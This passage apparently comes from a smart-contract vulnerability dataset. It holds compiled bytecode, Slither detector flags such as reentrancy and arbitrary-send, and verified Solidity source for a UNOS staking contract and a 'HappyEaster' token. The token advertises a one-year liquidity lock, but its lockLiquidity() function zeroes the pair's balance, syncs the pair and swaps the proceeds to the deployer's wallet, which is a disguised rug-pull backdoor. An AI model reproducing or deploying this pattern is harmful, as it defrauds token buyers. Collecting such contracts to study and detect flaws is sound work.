92505050565b60008219821115611ccc57611ccc611d42565b500190565b600082611cec57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d0b57611d0b611d42565b500290565b600082821015611d2257611d22611d42565b500390565b6000600019821415611d3b57611d3b611d42565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106a257600080fd5b80151581146106a257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f05fdae1627dc679ab9db58a898ca087cb97a78e15a3f28412152361ba164dd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,489 |
0x47c30c27db958f22e0da5a37913031914a4ae519
|
/**
*Submitted for verification at Etherscan.io on 2020-12-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
// ----------------------------------------------------------------------------
// 'UNOS' Staking smart contract. 5% deposit and 10%withdrawal fees are rewarded to all staking members based on their staking amount.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract UNOSLPStake is Owned {
using SafeMath for uint256;
address public UNOS = 0xb2a85B7aC5d78f3A262e9BF2534dd2806557a346;
uint256 public totalStakes = 0;
uint256 stakingFee = 50; // 5%
uint256 unstakingFee = 100; // 10%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
uint256 ownerFee = 100;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(UNOS).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
uint256 _ownerFee = 0;
if(totalStakes > 0){
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
_ownerFee= (onePercent(_stakingFee).mul(ownerFee)).div(10);
require(IERC20(UNOS).transfer(owner, _ownerFee), "ERROR: error in sending owenrFee to Owner");
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee.sub(_ownerFee));
}
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(UNOS).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(UNOS).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
uint256 _ownerFee = 0;
_ownerFee= (onePercent(_unstakingFee).mul(ownerFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
require(IERC20(UNOS).transfer(owner, _ownerFee), "ERROR: error in sending owenrFee to Owner");
require(IERC20(UNOS).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee.sub(_ownerFee));
emit UNSTAKED(msg.sender, tokens, _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedUNOS(address staker) external view returns(uint256 stakedUNOS){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the UNOS balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourUNOSBalance(address user) external view returns(uint256 UNOSBalance){
return IERC20(UNOS).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806399e9afc01161008c578063bf9befb111610066578063bf9befb1146101ea578063ca84d591146101f2578063d850c4ea1461020f578063f2fde38b14610235576100ea565b806399e9afc01461019f578063b53d6c24146101c5578063b8fc2bc6146101e2576100ea565b80634baf782e116100c85780634baf782e146101455780634df9d6ba1461014d5780638da5cb5b14610173578063997664d714610197576100ea565b8063146ca531146100ef57806329652e86146101095780632c75bcda14610126575b600080fd5b6100f761025b565b60408051918252519081900360200190f35b6100f76004803603602081101561011f57600080fd5b5035610261565b6101436004803603602081101561013c57600080fd5b5035610273565b005b610143610593565b6100f76004803603602081101561016357600080fd5b50356001600160a01b0316610713565b61017b6107dd565b604080516001600160a01b039092168252519081900360200190f35b6100f76107ec565b6100f7600480360360208110156101b557600080fd5b50356001600160a01b03166107f2565b610143600480360360208110156101db57600080fd5b503561080d565b61017b6108da565b6100f76108e9565b6101436004803603602081101561020857600080fd5b50356108ef565b6100f76004803603602081101561022557600080fd5b50356001600160a01b0316610b92565b6101436004803603602081101561024b57600080fd5b50356001600160a01b0316610c15565b60085481565b600b6020526000908152604090205481565b336000908152600a602052604090205481118015906102925750600081115b6102e3576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610305600a6102ff6004546102f986610c77565b90610ca2565b90610d04565b9050600061031d600a6102ff6009546102f986610c77565b9050600061032a33610d46565b336000908152600a6020526040902060048101805483019055549091506103519085610e12565b336000908152600a60205260409020908155600181018290556005546002808301919091556008546003909201919091555461038d9085610e12565b600255600154600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b1580156103ed57600080fd5b505af1158015610401573d6000803e3d6000fd5b505050506040513d602081101561041757600080fd5b50516104545760405162461bcd60e51b81526004018080602001828103825260298152602001806111496029913960400191505060405180910390fd5b6001546001600160a01b031663a9059cbb336104708787610e12565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156104b657600080fd5b505af11580156104ca573d6000803e3d6000fd5b505050506040513d60208110156104e057600080fd5b5051610533576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b6002541561054d5761054d6105488484610e12565b610e54565b604080513381526020810186905280820185905290517faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa29181900360600190a150505050565b336000908152600a602052604090206002015460055411156107115760006105ba33610d46565b336000908152600a60205260409020600401549091506105db908290610f39565b336000818152600a602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b15801561064657600080fd5b505af115801561065a573d6000803e3d6000fd5b505050506040513d602081101561067057600080fd5b50516106ad5760405162461bcd60e51b815260040180806020018281038252602c815260200180611172602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a60205260409020600181019190915560085460038201556005546002909101555b565b6007546001600160a01b0382166000908152600a602090815260408083208054600390910154600019018452600b909252822054600554929384936107629391926102ff92916102f991610e12565b6007546001600160a01b0385166000908152600a602090815260408083208054600390910154600019018452600b9092529091205460055493945091926107ad926102f99190610e12565b816107b457fe5b6001600160a01b03949094166000908152600a6020526040902060040154930601909101919050565b6000546001600160a01b031681565b60055481565b6001600160a01b03166000908152600a602052604090205490565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561086757600080fd5b505af115801561087b573d6000803e3d6000fd5b505050506040513d602081101561089157600080fd5b50516108ce5760405162461bcd60e51b81526004018080602001828103825260308152602001806111ed6030913960400191505060405180910390fd5b6108d781610e54565b50565b6001546001600160a01b031681565b60025481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b505050506040513d602081101561097357600080fd5b50516109b05760405162461bcd60e51b815260040180806020018281038252602e8152602001806111bf602e913960400191505060405180910390fd5b60008060006002541115610ab8576109d2600a6102ff6003546102f987610c77565b91506109e8600a6102ff6009546102f986610c77565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b505050506040513d6020811015610a6e57600080fd5b5051610aab5760405162461bcd60e51b81526004018080602001828103825260298152602001806111496029913960400191505060405180910390fd5b610ab86105488383610e12565b6000610ac333610d46565b336000908152600a602052604090206004810180548301905554909150610af490610aee8686610e12565b90610f39565b336000908152600a60205260409020908155600181018290556005546002820155600854600390910155610b34610b2b8585610e12565b60025490610f39565b6002557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c33610b638686610e12565b604080516001600160a01b0390931683526020830191909152818101869052519081900360600190a150505050565b600154604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610be357600080fd5b505afa158015610bf7573d6000803e3d6000fd5b505050506040513d6020811015610c0d57600080fd5b505192915050565b6000546001600160a01b03163314610c2c57600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610c85836064610f93565b90506000610c9a6127106102ff846064610ca2565b949350505050565b600082610cb157506000610cfe565b82820282848281610cbe57fe5b0414610cfb5760405162461bcd60e51b815260040180806020018281038252602181526020018061119e6021913960400191505060405180910390fd5b90505b92915050565b6000610cfb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fad565b6007546001600160a01b0382166000908152600a602090815260408083208054600390910154600019018452600b90925282205460055492938493610d959391926102ff92916102f991610e12565b6007546001600160a01b0385166000908152600a602090815260408083208054600390910154600019018452600b909252909120546005549394509192610de0926102f99190610e12565b81610de757fe5b6001600160a01b03949094166000908152600a60205260409020600401805491909406019092555090565b6000610cfb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104f565b6000610e71600654610aee60075485610ca290919063ffffffff16565b90506000610e8a60025483610d0490919063ffffffff16565b9050610ea1600254836110a990919063ffffffff16565b600655600554610eb19082610f39565b600555600854600019016000908152600b6020526040902054610ed49082610f39565b600880546000908152600b602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600082820183811015610cfb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610fa457fe5b04029392505050565b600081836110395760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ffe578181015183820152602001610fe6565b50505050905090810190601f16801561102b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161104557fe5b0495945050505050565b600081848411156110a15760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ffe578181015183820152602001610fe6565b505050900390565b6000610cfb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836111355760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ffe578181015183820152602001610fe6565b5082848161113f57fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67206f77656e7246656520746f204f776e65724552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220b67ef0acc44fb7c468af08290cb58ced5425877c6d1f48350c524cbd08aa851364736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,490 |
0xB7489DCA982fFC9E39f6ca68c69FFDF862926c43
|
/**
_
/_/_ .'''.
=O(_)))) ...' `.
\_\ `. .'''B'zzzzzzzzzzz
`..'
/| __
/ | ,-~ /
Y :| // /
| jj /( .^
>-"~"-v"
/ Y
jo o |
( ~T~ j
>._-' _./
/ "~" |
Y _, |
/| ;-"~ _ l
/ l/ ,-"~ \
\//\/ .- \
Y / Y*
l I !
]\ _\ /"\
(" ~----( ~ Y. )
~~~~~~~~~~~~~~~~~~~~~~~~~~
Elon Tweet Happy Easter
2% tax
Max TX 2%
Max Wallet 4%
LP Lock 1 year
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract HappyEaster is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000000000000 * 10**18;
uint256 private _maxWallet= 1000000000000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "HappyEaster";
string private constant _symbol = "HappyEaster";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 2;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
_maxWallet=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 40000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f7199146102e7578063d91a21a6146102fc578063dd62ed3e1461031c578063e8078d9414610362578063f42938901461037757600080fd5b8063715018a6146102745780637d1db4a5146102895780638da5cb5b1461029f57806395d89b4114610124578063a9059cbb146102c757600080fd5b8063313ce567116100e7578063313ce567146101d65780633e7175c5146101f25780634a1316721461021457806351bc3c851461022957806370a082311461023e57600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101b657600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600b81526a2430b8383ca2b0b9ba32b960a91b6020820152905161015e919061140d565b60405180910390f35b34801561017357600080fd5b50610187610182366004611455565b61038c565b604051901515815260200161015e565b3480156101a357600080fd5b506005545b60405190815260200161015e565b3480156101c257600080fd5b506101876101d1366004611481565b6103a3565b3480156101e257600080fd5b506040516012815260200161015e565b3480156101fe57600080fd5b5061021261020d3660046114c2565b61040c565b005b34801561022057600080fd5b50610212610452565b34801561023557600080fd5b5061021261072b565b34801561024a57600080fd5b506101a86102593660046114db565b6001600160a01b031660009081526002602052604090205490565b34801561028057600080fd5b50610212610747565b34801561029557600080fd5b506101a860095481565b3480156102ab57600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102d357600080fd5b506101876102e2366004611455565b6107bb565b3480156102f357600080fd5b506102126107c8565b34801561030857600080fd5b506102126103173660046114c2565b6108f7565b34801561032857600080fd5b506101a86103373660046114f8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561036e57600080fd5b5061021261093